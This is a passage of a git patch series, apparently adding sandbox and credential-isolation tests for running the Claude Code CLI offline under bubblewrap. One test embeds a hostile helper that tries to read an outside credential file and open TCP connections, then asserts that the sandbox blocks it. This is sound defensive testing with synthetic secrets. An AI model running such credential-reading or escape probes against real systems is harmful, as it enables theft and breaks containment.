ANTHROPIC_API_KEY: API_KEY }, (r) => + // The installed native Unix transport selects explicit OAuth. This + // qualified receipt makes no claim about ordinary TCP auth precedence. + ["both (isolated Unix transport)", { CLAUDE_CODE_OAUTH_TOKEN: OAUTH, ANTHROPIC_API_KEY: API_KEY }, (r) => r.tokenSource === "CLAUDE_CODE_OAUTH_TOKEN" && r.apiKeySource === "ANTHROPIC_API_KEY" && sent(r) && - r.auth.every((a) => a.xApiKey === API_KEY && !a.authorization) + r.auth.every((a) => a.authorization === `Bearer ${OAUTH}` && !a.xApiKey) ? null - : "the raw CLI no longer prefers the API key — #253's reason changed"], + : "the isolated Unix transport did not select its explicit OAuth token"], ["neither", {}, (r) => r.tokenSource === "none" && !sent(r) && /Not logged in/.test(r.ending) ? null diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 342375b887..8c43f44dcf 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -14,7 +14,7 @@ const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const WORKER_RUNTIME_ENV = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL", "TERM", "SHELL", "USER", "LOGNAME", "TMPDIR", "XDG_CONFIG_HOME", "XDG_CACHE_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_RUNTIME_DIR", "BRAIN_ROOT", "BRAIN_WORKER_DATA_ROOT", "BRAIN_WORKER_CONFIG_ROOT", "BRAIN_WORKER_SCRATCH", "BRAIN_WITHHELD_KEYS", "BRAIN_PROVIDER_RELAY_SOCKET", - "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY"]); + "ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]); const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace"; @@ -181,6 +181,38 @@ function testRuntimeMounts(): string[] { }); } +/** Read-only fixture tool directories, without exposing their sibling storage. */ +function fixtureToolView(env: Record, cwd: string, home?: string): { mounts: string[]; path: string } { + const roots = new Set(), storage = new Set(); + for (const input of [cwd, home]) { + if (!input) continue; + try { + const path = realpathSync(input); + storage.add(path); + if (!within(tmpdir(), path) || path === tmpdir()) continue; + roots.add(path); + const parent = dirname(path), info = statSync(parent); + if (parent !== tmpdir() && within(tmpdir(), parent) && info.uid === process.getuid?.() && (info.mode & 0o077) === 0) roots.add(parent); + } catch { /* A worker's fresh runtime home may not exist on the host. */ } + } + const directories = new Set(); + for (const input of env.PATH?.split(":") ?? []) { + if (!input) continue; + try { + const path = realpathSync(resolve(cwd, input)), info = statSync(path); + if (!info.isDirectory()) continue; + // Never expose a common fixture ancestor: it can hold a sentinel or + // unrelated storage outside HOME. Existing HOME/cwd mounts stay writable. + if (!storage.has(path) && [...storage].some(root => within(path, root))) continue; + const source = [join(ROOT, "packages"), join(ROOT, "tests/fixtures"), join(ROOT, "scripts/fixtures")].some(root => within(root, path)); + const temporary = [...roots].some(root => within(root, path)) && info.uid === process.getuid?.(); + if (source || temporary) directories.add(path); + } catch { /* Missing PATH entries do not grant filesystem authority. */ } + } + return { mounts: [...directories].filter(path => !storage.has(path)).flatMap(path => ["--ro-bind", path, path]), + path: [...new Set([...directories, dirname(process.execPath), "/usr/bin", "/bin"])].join(":") }; +} + interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } interface Boundary { argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } @@ -279,25 +311,28 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? env.ANTHROPIC_BASE_URL ?? scriptedRoute.getStore()?.origin); try { + const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); const executable = realpathSync(command); const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--bind", home, home, ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), + ...tools.mounts, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, - PATH: "/usr/bin:/bin", LANG: "C.UTF-8", + PATH: tools.path, LANG: "C.UTF-8", ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; // These are public model selectors, never ambient provider credentials. - for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY"]) { + for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]) { if (env[key]) childEnv[key] = env[key]!; } Object.assign(childEnv, syntheticCredentials(env)); + if (["0", "1"].includes(env.USE_BUILTIN_RIPGREP ?? "")) childEnv.USE_BUILTIN_RIPGREP = env.USE_BUILTIN_RIPGREP!; if (inheritedOrigin) Object.assign(childEnv, relayCredentialPlaceholders(env)); if (args.some((value, index) => value === "auth" && args[index + 1] === "status")) { // Auth status inspects the isolated fixture login; injecting an API key @@ -450,7 +485,7 @@ function admittedRelay(argv: string[], socket: string): string | undefined { export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { const unchanged = { env, dispose() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; - let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string } | null; + let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { return unchanged; } if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env })) return unchanged; const argv = launch.argv; @@ -480,13 +515,15 @@ export function nativeWorkerBoundary(env: Record): { qualify(); const bridge = startNativeTestRelay(ownedOrigin ?? route?.origin ?? launch.env?.ANTHROPIC_BASE_URL); try { + const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } - workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); + workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", - PATH: `${dirname(process.execPath)}:/usr/bin:/bin`, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", + PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", + ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; const separator = workerArgv.indexOf("--", bwrap); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index b84c26e1ab..e0c62334e9 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -191,6 +191,35 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("fixture PATH tools are mounted selectively without exposing sibling credentials", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-tool-plan-")); + const unrelated = mkdtempSync(join(tmpdir(), "odysseus-unrelated-tools-")); + const home = join(scratch, "home"), brain = join(scratch, "brain"), bin = join(scratch, "bin"); + for (const path of [home, brain, bin]) mkdirSync(path); + writeFileSync(join(scratch, "outside-credential"), "odysseus-synthetic-credential"); + try { + const result = await probe(`${imports} + import {writeFileSync} from "node:fs"; + import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1"); + const env={HOME:${JSON.stringify(home)},PATH:${JSON.stringify([bin, scratch, unrelated, "/usr/bin"].join(":"))},USE_BUILTIN_RIPGREP:"0",ENABLE_TOOL_SEARCH:"true",ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}; + const direct=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(brain)},env}); + const worker=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(brain)},hostHome:${JSON.stringify(home)},env,argv:["bwrap","--setenv","ENABLE_TOOL_SEARCH","true","--",${JSON.stringify(runtime)}]})}); + for(const [argv,dispose] of [[direct.argv,()=>direct.dispose()],[JSON.parse(worker.env.BRAIN_WORKER_LAUNCH).argv,()=>worker.dispose()]]){ + const entries={};for(let i=0;iarg==="--ro-bind"&&argv[i+1]===${JSON.stringify(bin)}&&argv[i+2]===${JSON.stringify(bin)}))throw Error("fixture tool mount was lost"); + if(argv.some((arg,i)=>["--bind","--ro-bind"].includes(arg)&&[${JSON.stringify(scratch)},${JSON.stringify(unrelated)}].includes(argv[i+1])))throw Error("fixture ancestor or unrelated tool storage was exposed"); + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});dispose(); + }`, scratch); + expect(result.code, result.output).toBe(0); + } finally { rmSync(scratch, { recursive: true, force: true }); rmSync(unrelated, { recursive: true, force: true }); } +}); + test("separate-UID plans trace the broker payload outside its hidden native audit view", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-identity-plan-")); try { @@ -438,8 +467,10 @@ if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === test("hostile managed helper and native descendants cannot read an outside credential or open TCP", async () => { const { nativeClaudeBoundary } = await import("../scripts/test-native-guard"); const scratch = mkdtempSync(join(tmpdir(), "odysseus-native-hostile-")); - const home = join(scratch, "home"), brain = join(scratch, "brain"), managed = join(scratch, "managed"); - for (const path of [home, brain, managed]) mkdirSync(path); + const home = join(scratch, "home"), brain = join(scratch, "brain"), managed = join(scratch, "managed"), bin = join(scratch, "bin"); + for (const path of [home, brain, managed, bin]) mkdirSync(path); + const tool = join(bin, "odysseus-tool-witness"), toolSeen = join(home, "tool-seen"); + writeFileSync(tool, '#!/bin/sh\nprintf Odysseus > "$HOME/tool-seen"\n'); chmodSync(tool, 0o700); const sentinel = join(scratch, "outside-home-credential"); writeFileSync(sentinel, "odysseus-synthetic-credential"); writeFileSync(join(managed, "managed-settings.json"), JSON.stringify({ @@ -457,6 +488,8 @@ import http.client,json,os,socket,subprocess settings=json.load(open('/etc/claude-code/managed-settings.json')) helper=subprocess.run(settings['apiKeyHelper'],shell=True,capture_output=True) assert helper.returncode != 0 and not helper.stdout, 'outside credential escaped' +assert os.environ.get('USE_BUILTIN_RIPGREP') == '0' +subprocess.run(['odysseus-tool-witness'],check=True) for host,port in [('127.0.0.1',${service.port}),('198.18.0.1',1)]: probe=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: @@ -477,7 +510,7 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) chmodSync(executable, 0o700); let boundary: ReturnType | undefined; try { - boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); + boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); const child = Bun.spawn(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); const [code, out, err] = await Promise.all([child.exited, new Response(child.stdout).text(), new Response(child.stderr).text()]); expect(code, err).toBe(0); @@ -485,9 +518,10 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) expect(out).toContain("HOSTILE_MANAGED_BOUNDARY_HELD"); expect(out + err).not.toContain("odysseus-synthetic-credential"); expect(requests).toBe(1); + expect(existsSync(toolSeen)).toBe(true); // Restored mutation: re-expose only the synthetic outside credential. // The same runtime assertion must now reject the managed helper escape. - const mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); + const mutationBoundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, PATH: bin, USE_BUILTIN_RIPGREP: "0", ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); const mutant = [...mutationBoundary.argv]; mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); const broken = Bun.spawn(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); From 42d1b988d04f7f5848cbb8c0b5de251183323942 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 22:09:21 +0000 Subject: [PATCH 030/187] fix(ci): revoke Node relay aliases when their listener closes --- scripts/test-native-guard.ts | 14 +++++++------- tests/native-offline-boundary.test.ts | 15 +++++++++++++++ 2 files changed, 22 insertions(+), 7 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 8c43f44dcf..311fd1e7ed 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -371,13 +371,13 @@ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typ } const relayForwarding = new AsyncLocalStorage>(); -const ownedRelaySockets = new Map(); +const ownedRelaySockets = new Map(); const socketIdentity = (stat: { dev: bigint; ino: bigint }) => `${stat.dev}:${stat.ino}`; const ownedHttpServers = new WeakMap>(); -function rememberRelay(path: string, origin: string): () => void { +function rememberRelay(path: string, origin: string, isLive: () => boolean = () => true): () => void { const stat = lstatSync(path, { bigint: true }); - const key = socketIdentity(stat), authority = { origin, dev: stat.dev, ino: stat.ino }; + const key = socketIdentity(stat), authority = { origin, dev: stat.dev, ino: stat.ino, isLive }; ownedRelaySockets.set(key, authority); return () => { if (ownedRelaySockets.get(key) === authority) ownedRelaySockets.delete(key); }; } @@ -389,7 +389,7 @@ export function guardNativeHttpListen(server: object, args: unknown[]): void { if (!route || !path?.startsWith("/")) return; ownedHttpServers.set(server, route); const events = server as { once(event: string, callback: () => void): void }; - events.once("listening", () => { const forget = rememberRelay(path, route.origin); events.once("close", forget); }); + events.once("listening", () => { const forget = rememberRelay(path, route.origin, () => (server as { listening: boolean }).listening); events.once("close", forget); }); } export function guardNativeHttpEvent(server: object, event: unknown, invoke: () => unknown): unknown { @@ -454,7 +454,7 @@ function ownedSocketOrigin(path: string): string | undefined { try { real = realpathSync(path); } catch { return; } const stat = lstatSync(real, { bigint: true }); const authority = ownedRelaySockets.get(socketIdentity(stat)); - if (!authority) return; + if (!authority?.isLive()) return; return stat.isSocket() && stat.dev === authority.dev && stat.ino === authority.ino ? authority.origin : undefined; } @@ -466,7 +466,7 @@ function admittedRelay(argv: string[], socket: string): string | undefined { try { real = realpathSync(path); } catch { continue; } const stat = lstatSync(real, { bigint: true }); const authority = ownedRelaySockets.get(socketIdentity(stat)); - if (!authority) continue; + if (!authority?.isLive()) continue; if (!stat.isSocket() || stat.dev !== authority.dev || stat.ino !== authority.ino) continue; // A directory mount exposes every socket it contains, not only the name // in ANTHROPIC_UNIX_SOCKET. Every such capability needs the same authority. @@ -475,7 +475,7 @@ function admittedRelay(argv: string[], socket: string): string | undefined { const sibling = join(directory!, name), info = lstatSync(sibling, { bigint: true }); if (!info.isSocket()) continue; const peer = ownedRelaySockets.get(socketIdentity(info)); - if (!peer || peer.origin !== authority.origin || peer.dev !== info.dev || peer.ino !== info.ino) return; + if (!peer?.isLive() || peer.origin !== authority.origin || peer.dev !== info.dev || peer.ino !== info.ino) return; } return authority.origin; } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index e0c62334e9..e1e412996c 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -356,6 +356,21 @@ test("a hard-link alias retains live guard-owned socket authority and loses it w } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("a Node relay loses hard-link authority as soon as close starts", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-node-alias-")); + try { + const result = await probe(`${imports} + import {linkSync} from "node:fs";import {createServer} from "node:http"; + import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + nativeScriptedService("http://127.0.0.1:1"); + const source=${JSON.stringify(join(scratch, "source.sock"))},alias=${JSON.stringify(join(scratch, "alias.sock"))}; + const relay=createServer((req,res)=>res.end("Ithaca"));await new Promise(resolve=>relay.listen(source,resolve));linkSync(source,alias); + relay.close();nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],env:{ANTHROPIC_UNIX_SOCKET:"/tmp/relay.sock"},argv:["bwrap","--ro-bind",alias,"/tmp/relay.sock","--",${JSON.stringify(runtime)}]})});`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("an arbitrary same-user Unix relay is refused before namespace setup", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); const socket = join(scratch, "relay.sock"); From dfd37ebae3c37dfade5bc0c35f14485994cd442b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:04:45 +0000 Subject: [PATCH 031/187] fix: require registered native fixture authority and inspect relay subtrees --- .../tests/ask-tool-request-id.test.ts | 2 + .../tests/follow-up-delivery.test.ts | 2 + .../tests/subscription-billing.test.ts | 2 + .../fixtures/scratch-mask-identity-ws.ts | 3 + packages/ui-sdk/tests/worker-launcher.test.ts | 4 + .../ui-server/tests/bundled-claude.test.ts | 2 + .../tests/safety-native-delivery.test.ts | 2 + .../tests/safety-result-retention.test.ts | 3 + scripts/test-native-guard.ts | 45 +++++++---- tests/fixtures/policy-boundary-probe.ts | 3 + tests/native-offline-boundary.test.ts | 81 +++++++++++++++---- 11 files changed, 120 insertions(+), 29 deletions(-) diff --git a/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts b/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts index 4804553f8c..72394f7568 100644 --- a/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts +++ b/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts @@ -1,3 +1,4 @@ +import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** * The four ask tools key their request by the model's tool_use id (#910). * @@ -169,6 +170,7 @@ test("each ask tool hands the bridge the tool_use id the model sent", async () = const toolUses: string[] = []; let resultSubtype: string | undefined; try { + nativeScriptedService(server.url.origin); const stream = query({ prompt: "Ask the planned questions.", options: { diff --git a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts index c86af42f3f..7b2b9744d6 100644 --- a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts +++ b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; /** @@ -176,6 +177,7 @@ function tempDir(prefix: string): string { } function arrange(): string { + nativeScriptedService(server.url.origin); const home = tempDir("follow-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); const brainPath = tempDir("follow-brain-"); diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index e0540a893d..b340bb5ad1 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; /** @@ -93,6 +94,7 @@ interface Setup { /** A fresh HOME, config dir and brain repo, and the process env a host would have. */ function arrange(setup: Setup): { brainPath: string; home: string } { + nativeScriptedService(server.url.origin); const home = tempDir("sub-home-"); const configDir = join(home, ".claude"); mkdirSync(configDir, { recursive: true }); diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts index b040dde1ef..5f94f07889 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts @@ -1,3 +1,5 @@ +import "../../../../scripts/test-network-child-preload.ts"; +import {nativeScriptedService} from "../../../../scripts/test-native-guard.ts"; import { prepareNativeScratchMask, answerNativeScratchMask, exerciseNativeScratchMask } from "./scratch-mask-native.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observation.js"; @@ -37,6 +39,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request requests.push({ model: body.model, history: body.messages.length, apiCredential: request.headers.get("x-api-key") === "odysseus-fictional-api-key" }); return nativeModelReply(); } }); +nativeScriptedService(provider.url.origin); const backend = createClaudeBackend({ brainPath: brain, profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", diff --git a/packages/ui-sdk/tests/worker-launcher.test.ts b/packages/ui-sdk/tests/worker-launcher.test.ts index a17bda54ff..382d329a54 100644 --- a/packages/ui-sdk/tests/worker-launcher.test.ts +++ b/packages/ui-sdk/tests/worker-launcher.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { launchFixtureAgentWorker as launchAgentWorker } from "./helpers/worker-startup-view-fixture.js"; import { describe, expect, spyOn, test } from "bun:test"; import { closeSync, linkSync, mkdirSync, symlinkSync, mkdtempSync, openSync, readdirSync, readFileSync, rmSync, statfsSync, writeFileSync } from "node:fs"; @@ -167,10 +168,13 @@ os.execve(${JSON.stringify(boot.command[0])}, ${JSON.stringify(boot.command)}, $ "@schlessera/brain-backend-claude", "@schlessera/brain-backend-pi"].map(name => [name, JSON.parse(readFileSync(join(ROOT, "node_modules", name, "package.json"), "utf8")).version])); // Version observation uses the same qualified native boundary as SDK turns. + const service = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch: () => new Response("Ithaca") }); + const restoreService = nativeScriptedService(service.url.origin); const native = Bun.spawn([ join(ROOT, "node_modules", `@anthropic-ai/claude-agent-sdk-linux-${process.arch}`, "claude"), "--version"], { env: {}, stdout: "pipe", stderr: "pipe" }); const [code, version] = await Promise.all([native.exited, new Response(native.stdout).text()]); + restoreService(); service.stop(true); expect(code).toBe(0); versions["claude-code"] = version.trim(); const mount = Bun.spawnSync([Bun.which("findmnt")!, "--target", f.brain, "--noheadings", "--output", "FSTYPE"]); diff --git a/packages/ui-server/tests/bundled-claude.test.ts b/packages/ui-server/tests/bundled-claude.test.ts index 84c6f84921..9a5b8df064 100644 --- a/packages/ui-server/tests/bundled-claude.test.ts +++ b/packages/ui-server/tests/bundled-claude.test.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** * With `CLAUDE_CODE_PATH` unset, a turn runs the Agent SDK's built-in Claude @@ -76,6 +77,7 @@ function tempDir(prefix: string): string { /** The environment a host would give the server, with every credential bogus. */ function arrangeHost(extra: Record = {}): string { + nativeScriptedService(server.url.origin); const home = tempDir("bundled-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); const brainPath = tempDir("bundled-brain-"); diff --git a/packages/ui-server/tests/safety-native-delivery.test.ts b/packages/ui-server/tests/safety-native-delivery.test.ts index 4e88b85ddb..edd8d81c2e 100644 --- a/packages/ui-server/tests/safety-native-delivery.test.ts +++ b/packages/ui-server/tests/safety-native-delivery.test.ts @@ -1,3 +1,4 @@ +import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** Installed Claude file tools against a scripted loopback model and the real host ledger. */ import {expect,test} from "bun:test"; import {request as httpRequest} from "node:http"; @@ -62,6 +63,7 @@ for(const mode of ["complete","writer-loss"] as const)test(`installed Claude ${m const response=await post(...args);await slow;trace.push(`post-response:${JSON.stringify(response)}`);return response; }]; let failure:unknown; + nativeScriptedService(ingress.url.origin); try{for await(const message of query({prompt:"Read the raft plan.",options:{cwd:brain,settingSources:[],model:"claude-sonnet-4-6",maxTurns:2,permissionMode:"default",allowedTools:["Read"],...wiring,abortController:controller, env:{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),PATH:process.env.PATH??"/usr/bin:/bin",ANTHROPIC_BASE_URL:ingress.url.origin,ANTHROPIC_API_KEY:"odysseus-offline-only-key",ANTHROPIC_AUTH_TOKEN:undefined,CLAUDE_CODE_OAUTH_TOKEN:undefined,CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}}})){ if(message.type==="system"&&message.subtype==="init")version=message.claude_code_version; diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index 8cdf776817..107bd7964a 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -1,3 +1,4 @@ +import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** A tool result that reaches the host already exists in the runtime's own * session: the installed Claude runtime replays it on resume. So its record * must be written whatever happened to the turn, and a record that cannot be @@ -150,6 +151,7 @@ esac // Stop the turn the moment the search has printed its matches. const watching=interrupt&&interruption==="running"?setInterval(()=>{if(existsSync(searched))controller.abort(new Error("Odysseus stopped the turn while the search ran"));},5):undefined; const 